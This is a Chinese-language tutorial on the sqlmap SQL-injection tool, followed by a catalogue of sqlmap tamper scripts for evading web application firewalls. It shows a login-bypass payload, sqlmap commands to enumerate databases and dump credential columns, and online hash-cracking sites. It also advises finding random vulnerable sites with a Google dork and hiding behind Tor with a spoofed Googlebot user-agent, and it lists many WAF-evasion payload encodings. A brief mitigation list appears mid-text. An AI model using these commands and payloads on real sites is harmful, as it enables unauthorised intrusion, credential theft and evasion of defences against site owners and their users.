SQLmap简介以及防火墙绕过方法
简介
许多现实中对于网站的攻击往往是由于网站没有及时更新或者对于用户的输入没有进行检查。从缓冲区溢出说起,这样一种针对系统脆弱性的威胁,最根本的问题还是在于对于用户的输入没有进行检查。作为主要威胁之一的SQL注入带来了人们对于其应用和数据库的担忧。这个问题的出现有十年的时间了,但是现在仍旧在许多网站中出现。SQL注入就像许多当前主要的的web应用安全攻击问题也被划归在了对于用户输入的检查上。
正文
许多web开发者并不知道SQL语句能够被自定义(handle)并且假定SQL语句是一个让人信任的命令。这就让SQL语句能够绕过访问控制机制(access control),因此跳过标准的授权和认证检查。甚至有些时候SQL语句能够允许使用服务器操作系统上的命令行的权限。
直接的SQL注入命令是一种方法,它被攻击者构造或者是修改现成的SQL命令来暴露出隐藏的数据或者是覆盖掉有价值的数据,甚至在服务器上执行危险地系统指令
入门
结构化的语言是数据库的标准声明语言。这让(语言)变的更加简洁并且更易于使用。SQL起源于70年代的IBM实验室。SQL被用来让应用程序与数据库之间进行通信。
SQL使用如下的4种语言来对数据库进行操作
SELECT -从数据库中获得一条记录
INSERT-向数据库中插入一条记录
DELETE-从数据库中删除一条记录
UPDATE-从数据库中更新或者改变当前记录
当用户提交的语句被用作数据库的查询语句时SQL就能够发生。比如当用户被网站认证授权,用户发送一个带有"用户名"和"密码"的信息,用户名/密码就与存放在数据库中的内容进行核对。如果相同的话用户就被允许登录,否则用户登录失败。以下是一个在后台进行登录的例子。
代码
SELECT * FROM user WHERE username='$username' AND password='$password'
这个语句简单地指明了从user的表中查询用户名和username相等的,并且密码和password相等的。所以,如果用户发送用户名为"admin",并且密码为"12345",那么SQL语句被创建如下:
SELECT * FROM user WHERE username='admin' AND password ='12345'
注入
那么,如果用户输入' or '1'='1,第一个引号会终止输入的字符串,剩下的会被当做SQL语句,并且在SQL语句中1=1恒为真,这就能够让我们绕过注册机制
SELECT * FROM user WHERE username='admin' AND password =''or '1'='1' -TRUE
上述是一个SQL注入的简单地例子,然而在实际过程中,SQL注入比这要复杂的多。在我们的渗透测试中,大多数时候我们有一个非常紧凑的计划表,所以这个时候我们需要一个自动化的攻击来为我们进行注入攻击。
SQLMAP就是一能够利用(系统)脆弱性的工具。它是开源的,并经常被用来在Python写的脆弱的DBMS上进行入侵的渗透测试。它能够检测并利用SQL上的漏洞,让我们举例在操作系统和数据库上使用sqlmap.py。
一步一步
我将尽可能地以最简洁的方式展示出来。
最常见的检测SQL注入的方法是通过在输入处添加一个单引号(')并且期待(系统)返回一个错误,有些应用程序并不会返回错误。这个时候我们就会利用true/false语句来检查是否这个应用程序会受到SQL注入的攻击。
为了随机的找到还有SQL注入的脆弱性的网站,你能够使用如下格式的语句利用google dork:inurl:news.php id =1?将会出现一堆google dork的数据并且为你过滤你搜索得到的结果提供了可能。那么让那个我们开始吧。
首先在backtrack上进入目录:
cd /pentest/database/sqlmap
我们不会立即开始,查看sqlmap.py的菜单使用命令:
./sqlmap.py -h
让我们运行sqlmap.py, 参数是[ --dbs],来发现DBMS中的所有数据库
或者是使用参数 –current-db来发现当前目标使用的数据库
参数-D表示目标的数据库,–table显示表列
我们将会检查在信息中是否包含感兴趣的内容(admin_users),并把它们按列显示出来,参数是-columns
在你列出表格之前每次指定目标数据库(使用-D参数)是很重要的,因为如果没有-D参数,程序将列出数据库中所有的表格
-T =目标参数
-C=目标列(可以指定超过一列,如:用户名(列),密码(列))
–dump=获得,提取数据
使用–proxy参数来使用代理
例如:./sqlmap.py –url "http://testphp.vulnweb.com/listproducts.php?cat=1" –dbs –proxy=http://183.223.10.108:80
我认为以上是对于初学者的基础的命令。sqlmap同样提供许多有趣的功能,我建议使用–prefix=PREFIX,–postfix=POSTFIX和takeover选项。更多关于该工具的使用可以访问官方网站。
–dump是用来提取网站上的数据,调用时必须选中列,并且你必须明确从列中具体提取什么内容,这里我提取列中保存的登录和密码信息。
通常,DBMS的"password"字段是加密的。通常使用的加密算法是SHA-1,MD5,这些算法在使用时并没有加入"salt"(指根据用户的输入直接进行算法计算),这就使得破解更加容易。那么(拿到加密的数据后)我们就需要对其进行解密,我们能够使用许多在线解密网站如:
http://www.md5decrypt.org,
https://crackstation.net/,
http://www.onlinehashcrack.com/
或者尝试手工暴力破解和彩虹表。此外你还能够使用你的GPU来加快(破解)的过程,这就不是本文所要主要讨论的内容了。
进阶
幸运的是,sqlmap有一些非常好的脚本,在如下的地址中你能够发现它们。使用svn检查
https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
事实上,脚本的作用是修改我们发出的请求来防止其被WAF(网络应用防火墙)拦截。在某些情况你可能需要把一些脚本合并到一起才能过WAF。脚本的完整列表访问如下:
https://svn.sqlmap.org/sqlmap/trunk/sqlmap/tamper/
许多企业经常忽视当前(DBMS)的脆弱性而依赖于网络防火墙。不幸的是,经过简单地代码编码就能绕过大部分防火墙。所以先生们,我想展示一下如何利用一些新功能来绕过WAF/IDF(入侵检测系统)。
我将展示一些重要的脚本如charencode.py和charcodeencode.py来与MySQL进行操作,这些脚本能够在backtrack5的
/pentest/web/scanners/sqlmap下面找到。
Hands-on:在你使用这些脚本的时候,使用–tamper参数后面跟脚本名字,在截图中我们使用了charencode命令
charencode.py总结
简单的说,这个脚本能够绕过一些比较简单的网络防火墙(WAF).. 其它的比较有趣的功能是(WAF)在匹配它们的规则之前会对url进行解码。
例:
另一个好的脚本是charunicodeencode.py,在我的实际渗透测试过程中,它帮助我绕过了许多防火墙的限制。
嘿,我只是展示了一小部分脚本,我强烈建议你将每个都使用一遍,因为它们往往适用于不同的环境。
注意:这并不是脚本小子的做法,负责地,熟练地掌握这样一个强大的工具是非常重要的
匿名
我将想你展示怎么样使用sqlmap和Onion路由器来保护你的IP,DNS等等,在linux中,在终端命令符为$时使用
sudo apt-get install tor tor-geoip
进入sqlmap的目录后:./sqlmap.py -u "http://www.targetvuln.com/index/php?cata_id=1" -b -a -tor –check-tor–user-agent="Mozilla/5.0(compatible;Googlebot/2.1;+http://www.google.com/bot.html)"
参数–tor使用Tor,–check-tor会检查Tor是否被正确地使用,如果没有正确被使用,终端会提示错误信息。用户代理是googlebot,所有你的请求会被看起来像是Googlebot发出的一样。
利用sqlmap的Tor我们能够设置你的TOR代理来隐藏实际请求产生的地址
-tor-port,-tor-type:这两个参数能够帮你手动设置TOR代理,–check-tor参数会检查你的代理是否被正确地安装并正常的工作。
结语
当SQL注入在几年前被发现时,许多目标都存在这样的缺陷,注入的格式就是其中最难的部分。渗透测试者往往需要自己构造这样的SQL语句。
接下来的发展就产生了自动注入的工具。当前最知名的工具可能就是sqlmap.py。SQLMAP是用python写的开源的测试框架,支持MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase,SAP,MAXDB并支持6中SQL注入手段。
解决方案
1.定期检查SQL服务器(的处理请求)
2.限制动态SQL语句
3.避免从用户直接获得数据
4.将数据库的权限信息单独存放在另外一个文件中
5.使用最小权限原则
6.使用预先准备好的(SQL)语句
使用sqlmap中tamper脚本绕过waf
0x01 start
脚本名:apostrophemask.py
作用:用utf8代替引号
Example: ("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
Tested against: all
脚本名:equaltolike.py
作用:like 代替等号
Example: * Input: SELECT * FROM users WHERE id=1 * Output: SELECT * FROM users WHERE id LIKE 1
脚本名:space2dash.py
作用:绕过过滤'=' 替换空格字符("),(' – ')后跟一个破折号注释,一个随机字符串和一个新行(' n')
1 Example: ('1 AND 9227=9227') '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'
Tested against: * MSSQL * SQLite
脚本名:greatest.py
作用:绕过过滤'>' ,用GREATEST替换大于号。
Example: ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0
脚本名:space2hash.py
作用:空格替换为#号 随机字符串 以及换行符
Example: * Input: 1 AND 9227=9227 * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Requirement:
MySQL Tested against:
MySQL 4.0, 5.0
脚本名:apostrophenullencode.py
作用:绕过过滤双引号,替换字符和双引号。
Example: tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271'
Tested against:
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0
脚本名:halfversionedmorekeywords.py
作用:当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
Example: ("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
Requirement:
MySQL < 5.1
Tested against:
MySQL 4.0.18, 5.0.22
脚本名:space2morehash.py
作用:空格替换为 #号 以及更多随机字符串 换行符
Example: * Input: 1 AND 9227=9227 * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Requirement: * MySQL >= 5.1.13 Tested
against: * MySQL 5.1.41
脚本名:appendnullbyte.py
作用:在有效负荷结束位置加载零字节字符编码
Example: ('1 AND 1=1') '1 AND 1=1%00'
Requirement:
Microsoft Access
脚本名:ifnull2ifisnull.py
作用:绕过对 IFNULL 过滤。 替换类似'IFNULL(A, B)'为'IF(ISNULL(A), B, A)'
Example: ('IFNULL(1, 2)') 'IF(ISNULL(1),2,1)'
Requirement:
MySQL
SQLite (possibly)
SAP MaxDB (possibly)
Tested against:
MySQL 5.0 and 5.5
脚本名:space2mssqlblank.py(mssql)
作用:空格替换为其它空符号
Example: * Input: SELECT id FROM users * Output: SELECT%08id%02FROM%0Fusers
Requirement: * Microsoft SQL Server Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005
ASCII table:
案例一: http://www.2cto.com/Article/201311/259652.html
脚本名:base64encode.py
作用:用base64编码替换 Example: ("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' Requirement: all
脚本名:space2mssqlhash.py
作用:替换空格
Example: ('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227' Requirement: * MSSQL * MySQL
脚本名:modsecurityversioned.py
作用:过滤空格,包含完整的查询版本注释
Example: ('1 AND 2>1--') '1 /*!30874AND 2>1*/--'
Requirement: * MySQL
Tested against:
MySQL 5.0
脚本名:space2mysqlblank.py
作用:空格替换其它空白符号(mysql)
Example: * Input: SELECT id FROM users * Output: SELECT%0Bid%0BFROM%A0users
Requirement:
MySQL
Tested against:
MySQL 5.1
脚本名:between.py
作用:用between替换大于号(>)
Example: ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--'
Tested against:
Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0
脚本名:space2mysqldash.py
作用:替换空格字符(")(' – ')后跟一个破折号注释一个新行(' n')
注:之前有个mssql的 这个是mysql的
Example: ('1 AND 9227=9227') '1--%0AAND--%0A9227=9227'
Requirement:
MySQL
MSSQL
脚本名:multiplespaces.py
作用:围绕SQL关键字添加多个空格
Example: ('1 UNION SELECT foobar') '1 UNION SELECT foobar'
Tested against: all
脚本名:space2plus.py
作用:用+替换空格
Example: ('SELECT id FROM users') 'SELECT+id+FROM+users' Tested against: all
脚本名:bluecoat.py
作用:代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like
Example: ('SELECT id FROM users where id = 1') 'SELECT%09id FROM users where id LIKE 1'
Tested against:
MySQL 5.1, SGOS
脚本名:nonrecursivereplacement.py
双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace("SELECT"、"")) filters
Example: ('1 UNION SELECT 2--') '1 UNIOUNIONN SELESELECTCT 2--' Tested against: all
脚本名:space2randomblank.py
作用:代替空格字符("")从一个随机的空白字符可选字符的有效集
Example: ('SELECT id FROM users') 'SELECT%0Did%0DFROM%0Ausers'
Tested against: all
脚本名:sp_password.py
作用:追加sp_password'从DBMS日志的自动模糊处理的有效载荷的末尾
Example: ('1 AND 9227=9227-- ') '1 AND 9227=9227-- sp\_password' Requirement: * MSSQL
脚本名:chardoubleencode.py
作用: 双url编码(不处理以编码的)
Example: * Input: SELECT FIELD FROM%20TABLE * Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
脚本名:unionalltounion.py
作用:替换UNION ALL SELECT UNION SELECT
Example: ('-1 UNION ALL SELECT') '-1 UNION SELECT'
Requirement: all
脚本名:charencode.py
作用:url编码
Example: * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
tested against:
Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0
脚本名:randomcase.py
作用:随机大小写 Example:
Input: INSERT
Output: InsERt
Tested against:
Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0
脚本名:unmagicquotes.py
作用:宽字符绕过 GPC addslashes
Example: * Input: 1′ AND 1=1 * Output: 1%bf%27 AND 1=1–%20
脚本名:randomcomments.py
作用:用/**/分割sql关键字
Example: 'INSERT' becomes 'IN//S//ERT'
脚本名:charunicodeencode.py
作用:字符串 unicode 编码
Example: * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
Requirement:
ASP
ASP.NET
Tested against:
Microsoft SQL Server 2000
Microsoft SQL Server 2005
MySQL 5.1.56
PostgreSQL 9.0.3
脚本名:securesphere.py
作用:追加特制的字符串
Example: ('1 AND 1=1') "1 AND 1=1 and '0having'='0having'"
Tested against: all
脚本名:versionedmorekeywords.py
作用:注释绕过
Example: * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# * Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
Requirement:
MySQL >= 5.1.13
脚本名:space2comment.py
作用:Replaces space character (' ') with comments '/**/'
Example: * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users
Tested against:
Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0
脚本名:halfversionedmorekeywords.py
作用:关键字前加注释
Example: * Input: value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa * Output: value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND 'QDWa'='QDWa
Requirement:
MySQL < 5.1
Tested against:
MySQL 4.0.18, 5.0.22